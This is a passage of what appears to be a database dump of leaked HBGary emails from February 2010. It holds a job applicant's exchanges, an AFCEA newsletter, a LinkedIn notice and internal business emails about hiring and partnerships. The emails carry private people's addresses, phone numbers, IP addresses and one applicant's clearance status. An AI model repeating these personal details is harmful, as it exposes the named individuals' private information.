Hummel &lt;chris_hummel@hotmail.com&gt;\r\nDate: Tue, Feb 16, 2010 at 5:45 PMSubject: RE: Trying to apply to an open positionTo: bob@hbgary.com\r\nBob, Here you go - I am interested in the Reverse Engineer position. Thanks,Chris \r\n\r\nDate: Tue, 16 Feb 2010 17:40:52 -0500Subject: Re: Trying to apply to an open positionFrom: bob@hbgary.com \r\n\r\n\r\nTo: chris_hummel@hotmail.com\r\nSend resume to me and I will distribute it.  \r\n \r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\nOn Tue, Feb 16, 2010 at 5:34 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nHello, I am trying to apply to a job with your company but appear to be having difficulty reaching the jobs@hbgary.com email address.  Is there another address that I could use that is working properly?\r\n Thanks,Chris Hummel  &gt; From: mailer-daemon@googlemail.com&gt; To: chris_hummel@hotmail.com\r\n&gt; Subject: Delivery Status Notification (Failure)&gt; Date: Tue, 16 Feb 2010 22:25:59 +0000&gt; &gt; Hello chris_hummel@hotmail.com,&gt; \r\n&gt; We&#39;re writing to let you know that the group you tried to contact (jobs) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren&#39;t able to post:&gt; \r\n&gt; * You might have spelled or formatted the group name incorrectly.&gt; * The owner of the group may have removed this group.&gt; * You may need to join the group before receiving permission to post.&gt; * This group may not be open to posting.\r\n&gt; &gt; If you have questions related to this or any other Google Group, visit the Help Center at http://www.google.com/support/a/hbgary.com/bin/static.py?hl=en_US&amp;page=groups.cs.\r\n&gt; &gt; Thanks,&gt; &gt; hbgary.com admins&gt; &gt; &gt; &gt; ----- Original message -----&gt; &gt; Received: by 10.224.59.71 with SMTP id k7mr1212435qah.245.1266359159281;\r\n&gt; Tue, 16 Feb 2010 14:25:59 -0800 (PST)&gt; Received: by 10.224.59.71 with SMTP id k7mr1212433qah.245.1266359159132;&gt; Tue, 16 Feb 2010 14:25:59 -0800 (PST)&gt; Return-Path: &lt;chris_hummel@hotmail.com&gt;\r\n&gt; Received: from snt0-omc2-s37.snt0.hotmail.com (snt0-omc2-s37.snt0.hotmail.com [65.55.90.112])\r\n&gt; by mx.google.com with ESMTP id 2si15395164qwi.55.2010.02.16.14.25.58;&gt; Tue, 16 Feb 2010 14:25:59 -0800 (PST)&gt; Received-SPF: pass (google.com: domain of chris_hummel@hotmail.com designates 65.55.90.112 as permitted sender) client-ip=65.55.90.112;\r\n&gt; Authentication-Results: mx.google.com; spf=pass (google.com: domain of chris_hummel@hotmail.com designates 65.55.90.112 as permitted sender) smtp.mail=chris_hummel@hotmail.com\r\n&gt; Received: from SNT137-W52 ([65.55.90.72]) by snt0-omc2-s37.snt0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959);&gt; Tue, 16 Feb 2010 14:25:58 -0800\r\n&gt; Message-ID: &lt;SNT137-w5219D3B96C7FCDC2F3CA2DE7490@phx.gbl&gt;&gt; Return-Path: chris_hummel@hotmail.com&gt; Content-Type: multipart/mixed;&gt; boundary=&quot;_82c2b185-24aa-4dbf-86b9-810922ed7c13_&quot;\r\n&gt; X-Originating-IP: [74.103.67.162]&gt; From: Chris Hummel &lt;chris_hummel@hotmail.com&gt;&gt; To: &lt;jobs@hbgary.com&gt;\r\n&gt; Subject: Job Opening - Reverse Engineer&gt; Date: Tue, 16 Feb 2010 17:25:58 -0500&gt; Importance: Normal&gt; MIME-Version: 1.0&gt; X-OriginalArrivalTime: 16 Feb 2010 22:25:58.0550 (UTC) FILETIME=[03474B60:01CAAF57]\r\n&gt; &gt; &gt; &gt; &gt; Hello,&gt; &gt; I am inquiring about the Reverse Engineer position that is posted on your web site. I have attached my resume for your review and consideration.&gt; \r\n&gt; Thank you,&gt; Chris Hummel \r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.-- Bob Slapnik\r\nVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.-- Bob Slapnik\r\nVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',7942,'aaron_hbgary_com/7942.html'),(2717,'2010-02-16','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297001261.M705591P3547Q2717.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Tuesday, February 16, 2010 \r\n								VOLUME 7 ISSUE 5 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								Did the writers of the Quadrennial Defense Review get it right?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  Their priorities are right on.&nbsp;Their topics are right; their priorities need improvement.&nbsp;Too soon to tell.&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        First Responders Get the \"MacGyer\" Edge\r\n		Coverage from WEST 2010 \r\n        Cool App-titude: NASA Images App\r\n        \r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nFederal Networks 201002/17/2010 - 02/18/2010Hilton McLean Tysons Corner, McLean, VA details ...AFCEA NoVA Monthly Luncheon02/19/2010Sheraton Premiere at Tysons Corner , Vienna , VA details ...AFCEA Bethesda Monthly Breakfast Series Federal Civilian and DoD Networking and Education Breakfast02/23/2010Bethesda North Marriott and Conference Center, Bethesda, MD details ...AFCEA Belvoir Monthly Luncheon02/24/2010Fort Belvoir Officer\'s Club, VA details ...AFCEA Bethesda Chapter Monthly Breakfast Series Presents: Federal Budget Preview02/26/2010Ritz-Carlton, Tysons Corner, VA details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\nU.S. Coast Guard Boosts Alerts Status\r\n  The U.S. Coast Guard has deployed a nationwide alert system that notifies its maritime partners as soon as an emergency arises. Unlike previous communications capabilities, this system not only ensures that the appropriate people are alerted but also acts as a status system.  [Read more...]  \r\n\r\n        Army Researchers Focus on Smart, Stealthy Antennas\r\n          If U.S. Army scientists have their way, future antennas for vehicles and dismounted infantry will be smaller and more nondescript and will feature greatly increased reception. Research is focusing on lightweight conformal antennas that can be built into soldiers? uniforms and equipment as well as vehicle structures.  [Read more...]\r\n        Battlefield Cell Networks Research Grows\r\n  With encouragement from the front lines, Capt. Josh Dixon, USMC, Naval Postgraduate School student, is exploring another way to bring the benefits of cell phone technology to warfighters.   [Read more...]  \r\n\r\n\r\n\r\n News Briefs\r\nDHS Asks for Public Input\r\n The U.S. Department of Homeland Security (DHS) has created an online participation tool that enables citizens to contribute their ideas to its Open Government Plan. Available until March 19, 2010, the Web site describes the goal of the program. The online participation tool opens the doors to sharing ideas about how the department can support transparency, participation, collaboration and innovation. Topics to comment on range from airport security to business practices. The DHS plan is part of the White House Open Government Initiative and is scheduled to be ready no later than April 7, 2010. \r\n  Laboratory Advances Self-Sustained Nuclear FusionScientists at Lawrence Livermore National Laboratory\'s National Ignition Facility have completed the first experiments to demonstrate a unique physics effect that predicts success in generating a self-sustaining nuclear fusion reaction. The inertial confinement fusion (ICF) experiments fired the energy of 192 power laser beams into a pencil-eraser-sized cylinder called a hohlraum containing a tiny spherical target filled with two isotopes of hydrogen. The result was the highly symmetrical compression of simulated fuel capsules necessary for the facility to achieve fusion ignition and energy gains for ignition experiments later this year. The experiments are part of the National Ignition Campaign, which is a partnership between the National Nuclear Security Administration and multiple laboratories and universities. \r\n  French Helicopters To Fly With Self-Defense Suite\r\n    The French military is fitting 19 of its Eurocopter EC725 Caracal helicopters with an integrated self-protection suite designed to defend the aircraft from a variety of airborne threats. The suite consists of the Sherloc-SF radar warning receiver, the MWS-20 Damien missile approach warning system, the RALM laser warning receiver, and the ELIPS-NG chaff/flare dispenser system. The Caracal is the first French military helicopter type to carry a complete self-defense suite. As the lead contractor, the Thales Group is responsible for integrating the individual systems into the helicopters\r\n  Incubator Warms Up Contactless Connections\r\n  The burst of the dot-com bubble did not put an end to small companies doing some pretty cutting-edge stuff with the help of academia. WaveConnex Incorporated, a startup company, is conducting proof-of-concept research about developing contactless electronic connections at UCLA&rsquo;s incubator space at the California NanoSystems Institute (CNI). Company researchers plan to capitalize on the propagation properties of millimeter wave electromagnetic radiation generated on silicon material about the size of a grain of rice. This new contactless connection would expand the use of similar technology used today by enabling faster transfer of large databases, improving the usability of both smart cards and Internet infrastructure. The university&rsquo;s CNI offers shared, flexible lab space that houses up to 10 early-stage incubation projects.\r\n  \r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\nA Plan With a Purpose\r\n  The Defense Information Systems Agency (DISA) has released its 2010 Campaign Plan. Although designated as this year?s plan, the document actually lays the groundwork for DISA activities that will take place during the next two to five years. While it may appear ambitious, the agency?s officials believe that it is absolutely necessary to reach beyond DISA?s grasp as it heads into the future.\r\n  [Read more...]\r\n  \r\n  \r\n  Military Facilitates Help in Haiti\r\n  Generosity has been pouring from every direction to the tiny Caribbean nation of Haiti since the earthquake hit on January 12. But problems arise when coordination falls short. However, an Internet-based network scheduled to be tested this summer was put to the test during the real-life crisis and has performed like a charm. \r\n  [Read more...]\r\n  \r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      \r\n      February 2010\r\n      Focus: Homeland Security\r\n        More than eight years after the September 11, 2001, terrorist attacks, the concept of homeland security has become more distinct as organizations have defined their operations and goals. But simply knowing what needs to be done is not nearly enough to ensure homeland security. The terrorist threat has metamorphosed to adapt to new preventive and deterrent measures, while other threats with different motives have emerged to menace the commonweal. SIGNAL Magazine&rsquo;s February 2010 issue looks at these new challenges along with solutions in the works.\r\n      \r\n      Focus: U.S. Air Force\r\n      The airborne service always has been on the leading edge of technology development, and the advent of the information age has emphasized the importance of that leadership. But, with the very concept of conflict changing as asymmetric warfare leaps to prominence, the U.S. Air Force has had to adjust both its present and its future. This course change affects both current operational doctrine and advanced technologies that will define the service itself. SIGNAL&rsquo;s February focus report examines how the Air Force is changing today for a different tomorrow..\r\n      Read these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Cyberspace\r\n         The digital frontier long has been described as the Wild West where users confronted outlaws such as hackers and brigands. Now, as the frontier has become populated with all manner of social, government and economic enterprises, its security is a matter of great importance for all involved&#8212;which is most of the Earth&rsquo;s population. Threats range from organized crime to terrorists and hostile governments that seek to cripple or destroy a nation or its security apparatus. SIGNAL Magazine&rsquo;s March 2010 issue examines cyberspace in terms of both its security challenges and its opportunities.\r\nFocus: Antenna Technologies\r\n         Wireless connectivity is the new foundation of networking, and you can&rsquo;t have wireless without antennas in some way, shape or form. With wireless applications exploding on the scene, shape and form are becoming vitally important as scientists develop new antenna technologies. SIGNAL&rsquo;s March focus on antennas peers into the future as it reports on some of the innovative antenna technologies that may emerge soon from the laboratory.\r\n\r\n         Community \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n				\r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n\r\n\r\nvar pageTracker = _gat._getTracker(\"UA-1095862-1\");\r\npageTracker._initData();\r\npageTracker._trackPageview();\r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5465,'aaron_hbgary_com/5465.html'),(2718,'2010-02-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297001261.M904995P3547Q2718.eml','\"Aaron Barr\" <aaron@hbgary.com>','Christopher Barnett has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Christopher are now connected.\r\n\r\n \r\n   \r\n   View Christopher\'s profile to:\r\n     \r\n       Download Christopher\'s current contact information\r\n       Write a recommendation for Christopher\r\n       Find opportunities through Christopher\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/6664160/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',5855,'aaron_hbgary_com/5855.html'),(2719,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001262.M335639P3547Q2720.eml','chris_hummel@hotmail.com','Introductions','Hi Chris,\r\n\r\nI was given your resume from our product side.  Your name rings a bell and I am sure we have met before.  Do you work for Mark Leary or Chris Barnett?\r\n\r\nI am interested to talk to you about your resume and positions we are going to be opening up in the next month.  I am out of town for the next few days.  Let me know what your schedule is like next week.\r\n\r\nLook forward to talking with you.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3320,'aaron_hbgary_com/3320.html'),(2720,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001262.M515466P3547Q2721.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Trying to apply to an open position','Thanks Bob I will be contacting him.AaronOn Feb 16, 2010, at 5:53 PM, Bob Slapnik wrote:Aaron and Ted,\r\n&nbsp;\r\nLooks like a possible candidate for HBG Fed. R/E skills, TS and full poly, lives in MD.\r\n&nbsp;\r\nBob\r\n---------- Forwarded message ----------From: Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\nDate: Tue, Feb 16, 2010 at 5:45 PMSubject: RE: Trying to apply to an open positionTo: bob@hbgary.com\r\nBob,&nbsp;Here you go - I am interested in the Reverse Engineer position.&nbsp;Thanks,Chris&nbsp;\r\n\r\nDate: Tue, 16 Feb 2010 17:40:52 -0500Subject: Re: Trying to apply to an open positionFrom: bob@hbgary.com \r\n\r\n\r\nTo: chris_hummel@hotmail.com\r\nSend resume to me and I will distribute it.&nbsp; \r\n&nbsp;\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\nOn Tue, Feb 16, 2010 at 5:34 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nHello,&nbsp;I am trying to apply to a job with your company but appear to be having difficulty reaching the jobs@hbgary.com email address.&nbsp; Is there another address that I could use that is working properly?\r\n&nbsp;Thanks,Chris Hummel&nbsp;&nbsp;&gt; From: mailer-daemon@googlemail.com&gt; To: chris_hummel@hotmail.com\r\n&gt; Subject: Delivery Status Notification (Failure)&gt; Date: Tue, 16 Feb 2010 22:25:59 +0000&gt; &gt; Hello chris_hummel@hotmail.com,&gt; \r\n&gt; We\'re writing to let you know that the group you tried to contact (jobs) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren\'t able to post:&gt; \r\n&gt; * You might have spelled or formatted the group name incorrectly.&gt; * The owner of the group may have removed this group.&gt; * You may need to join the group before receiving permission to post.&gt; * This group may not be open to posting.\r\n&gt; &gt; If you have questions related to this or any other Google Group, visit the Help Center at http://www.google.com/support/a/hbgary.com/bin/static.py?hl=en_US&amp;page=groups.cs.\r\n&gt; &gt; Thanks,&gt; &gt; hbgary.com admins&gt; &gt; &gt; &gt; ----- Original message -----&gt; &gt; Received: by 10.224.59.71 with SMTP id k7mr1212435qah.245.1266359159281;\r\n&gt; Tue, 16 Feb 2010 14:25:59 -0800 (PST)&gt; Received: by 10.224.59.71 with SMTP id k7mr1212433qah.245.1266359159132;&gt; Tue, 16 Feb 2010 14:25:59 -0800 (PST)&gt; Return-Path: &lt;chris_hummel@hotmail.com&gt;\r\n&gt; Received: from snt0-omc2-s37.snt0.hotmail.com (snt0-omc2-s37.snt0.hotmail.com [65.55.90.112])\r\n&gt; by mx.google.com with ESMTP id 2si15395164qwi.55.2010.02.16.14.25.58;&gt; Tue, 16 Feb 2010 14:25:59 -0800 (PST)&gt; Received-SPF: pass (google.com: domain of chris_hummel@hotmail.com designates 65.55.90.112 as permitted sender) client-ip=65.55.90.112;\r\n&gt; Authentication-Results: mx.google.com; spf=pass (google.com: domain of chris_hummel@hotmail.com designates 65.55.90.112 as permitted sender) smtp.mail=chris_hummel@hotmail.com\r\n&gt; Received: from SNT137-W52 ([65.55.90.72]) by snt0-omc2-s37.snt0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959);&gt; Tue, 16 Feb 2010 14:25:58 -0800\r\n&gt; Message-ID: &lt;SNT137-w5219D3B96C7FCDC2F3CA2DE7490@phx.gbl&gt;&gt; Return-Path: chris_hummel@hotmail.com&gt; Content-Type: multipart/mixed;&gt; boundary=\"_82c2b185-24aa-4dbf-86b9-810922ed7c13_\"\r\n&gt; X-Originating-IP: [74.103.67.162]&gt; From: Chris Hummel &lt;chris_hummel@hotmail.com&gt;&gt; To: &lt;jobs@hbgary.com&gt;\r\n&gt; Subject: Job Opening - Reverse Engineer&gt; Date: Tue, 16 Feb 2010 17:25:58 -0500&gt; Importance: Normal&gt; MIME-Version: 1.0&gt; X-OriginalArrivalTime: 16 Feb 2010 22:25:58.0550 (UTC) FILETIME=[03474B60:01CAAF57]\r\n&gt; &gt; &gt; &gt; &gt; Hello,&gt; &gt; I am inquiring about the Reverse Engineer position that is posted on your web site. I have attached my resume for your review and consideration.&gt; \r\n&gt; Thank you,&gt; Chris Hummel \r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.-- Bob Slapnik\r\nVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.-- Bob Slapnik\r\nVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n&lt;Resume-Hummel_clear.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11728,'aaron_hbgary_com/11728.html'),(2721,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001262.M748038P3547Q2722.eml','\"Geoff Stowe\" <gstowe@palantirtech.com>','Opinion','Hey Geoff,\r\n\r\nWas wondering from your perspective how it went today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7358,'aaron_hbgary_com/7358.html'),(2722,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001262.M954056P3547Q2723.eml','\"Greg Hoglund\" <greg@hbgary.com>','Palantir Session','How\'d it go today?  Productive?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8101,'aaron_hbgary_com/8101.html'),(2723,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001262.M99553P3547Q2719.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','A few items','Penny,\r\n\r\nA few items.  I want to get up the content for the website this week.  I also have a few requisitions to post on Monster (so you know, its ur account).\r\n\r\nI will have slicks for marketing for sales early next week.  I would like to begin to transition as much of the IR work as it comes in as comfortable.\r\n\r\nI want to get the sub relationships with PwC and Foundstone set so we can start doing the IR work.  Ted and I are building an IR framework and process for engagements.  Haven\'t heard from foundstone yet.\r\n\r\nI have a few RE/Malware analyst resumes in hand to hire once we get some initial work.  I am going to start interviewing them for contingent offerings.  As we have a bit more work coming in I can work on poaching from our competition as well.  Any targets you can offer? :)\r\n\r\nBusiness status.\r\nTed and I were focused on getting some work out of the Romas recompete or ARSTRAT to extend our runway financially, get some bodies in and start to build out.  That didn\'t happen.  Both of those have been delayed because of organizational reasons.  Shit happens.  So next plan is to chase a few of these BAA to help raise the body pool and grow out, so we are pursuing those.  Meanwhile the Threat Intelligence Center R&D effort with Northrop is being funded.  I am flying out to cincinati tomorrow to get that kicked off.  We are working towards a late March demonstration capability where we have a meeting set up with the Navys 10th fleet already.\r\n\r\nTheres a few other odds and ends for business pursuits.  Mostly on the IO side.\r\n\r\nAs I was a bit fearful when we originally talked sometimes things on the business side have a way of not always working out as you plan and getting things up and running in a few months was aggressive.  My one regret is we didn\'t move out faster on the IR business, but we will make up some time.  The rest will work itself out over the next few months.  As some of the bigger things we have been chasing start to fall out.\r\n\r\nI\'ll give you a call tomorrow to discuss.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1861,'aaron_hbgary_com/1861.html'),(2724,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001263.M148964P3547Q2724.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Got some interesting feedback from Palantir','They are not interested in affording Endgames the same deal they gave HBGary regarding the partnership program.  For 2 reasons.  Right now they only have 1 customer, I think its DIA.  And they aren\'t sure how good their data really is.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5128,'aaron_hbgary_com/5128.html'),(2725,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001263.M346903P3547Q2725.eml','james.m.racz@lmco.com,james.m.racz@lmco.com','Uno - HBGary capabilities brief','Hi Jim,\r\n\r\nPlease let me know when you are available to schedule an HBGary capabilities briefing.  If you have some time next week that would be great.\r\n\r\nThank you,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11423,'aaron_hbgary_com/11423.html'),(2726,'2010-02-17','\"Geoff Stowe\" <gstowe@palantirtech.com>','/aaron@hbgary.com/new/1297001263.M535223P3547Q2726.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Opinion','Hey Aaron,\r\n\r\nIt went very well - it\'s always a pleasure to work with a team like that, and I\'m excited about the use cases.  Long term, the scale of data they\'re interested in analyzing is a little ambitious for the stand-alone QuickStart instance they have.  At some point Matt and I should chat with you about how best to handle that.  In the short term they should be all set to continue modeling the data they have.\r\n\r\nSorry to see you\'re up so late, and hope you\'re enjoying the snow!\r\n\r\nGeoff\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 9:44 PM\r\nTo: Geoff Stowe\r\nSubject: Opinion\r\n\r\nHey Geoff,\r\n\r\nWas wondering from your perspective how it went today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5531,'aaron_hbgary_com/5531.html'),(2727,'2010-02-17','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297001263.M831227P3547Q2727.eml','aaron@hbgary.com','FW: Catch Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nNext Monday morning or most of wen next week would work.  Look\r\nforward to talking.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRobert Frisbie\r\n\r\nSenior Vice President\r\n\r\nManTech International\r\n\r\n7799 Leesburg Pike\r\n\r\nSuite 700 South\r\n\r\nFalls Church, VA 22043\r\n\r\n703 